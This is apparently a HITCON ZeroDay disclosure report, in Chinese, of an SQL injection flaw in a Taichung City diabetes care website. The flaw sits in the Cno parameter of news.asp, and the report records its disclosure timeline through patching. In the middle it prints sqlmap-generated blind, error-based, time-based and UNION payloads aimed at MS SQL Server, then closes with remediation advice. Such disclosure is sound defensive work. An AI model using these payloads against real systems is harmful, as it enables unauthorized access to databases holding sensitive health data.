Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-00460
- 發信 Vendor: 國興資訊股份有限公司
- Title: 台中市糖尿病共同照護服務資訊系統網站，存在SQL Injection漏洞
- Introduction: 啊就...SQL Injection 漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2019/05/29 19:14:52 : 新提交 (由 癡情法王 更新此狀態)
- 2019/05/29 22:02:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/05/30 19:21:12 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/05/30 19:21:12 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/06/04 10:49:36 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/26 11:11:24 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/08/03 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2019-00460
- 通報者：RoRo (癡情法王)
- 風險：高
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
- 於問題URL中，將SQLi語法貼至news.asp的問題參數Cno，會對後端資料庫執行相關SQL指令
-
使用弱掃工具SqlMap掃描問題網址，至少可以列舉出web server所使用的DB帳號，漏洞資訊如下：
+++
Parameter: Cno (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Cno=25 AND 5371=5371Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
Payload: Cno=25 AND 4659 IN (SELECT (CHAR(113)+CHAR(107)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4659=4659) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(118)+CHAR(113)))Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Cno=(SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (1767=1767) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(118)+CHAR(113))Type: time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: Cno=25 AND 7320=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: Cno=-6716 UNION ALL SELECT NULL,CHAR(113)+CHAR(107)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(70)+CHAR(108)+CHAR(107)+CHAR(68)+CHAR(113)+CHAR(67)+CHAR(110)+CHAR(67)+CHAR(109)+CHAR(77)+CHAR(90)+CHAR(85)+CHAR(121)+CHAR(69)+CHAR(80)+CHAR(83)+CHAR(79)+CHAR(113)+CHAR(69)+CHAR(85)+CHAR(77)+CHAR(90)+CHAR(67)+CHAR(97)+CHAR(69)+CHAR(108)+CHAR(73)+CHAR(71)+CHAR(70)+CHAR(80)+CHAR(80)+CHAR(80)+CHAR(114)+CHAR(67)+CHAR(119)+CHAR(87)+CHAR(89)+CHAR(122)+CHAR(112)+CHAR(99)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(118)+CHAR(113),NULL,NULL-- wxgt
+++
修補建議
1. 針對所有GET/POST的所得到的變數(例如：Cno)，一定要在server side確認變數中沒有不合規的字元，例如：'、"、--、=、...等
2. 最好還能限制變數內容的字串長度、型別，並使用prepare statement來處理SQL語法的使用
3. 可google一下排除SQL injection的asp程式開發範例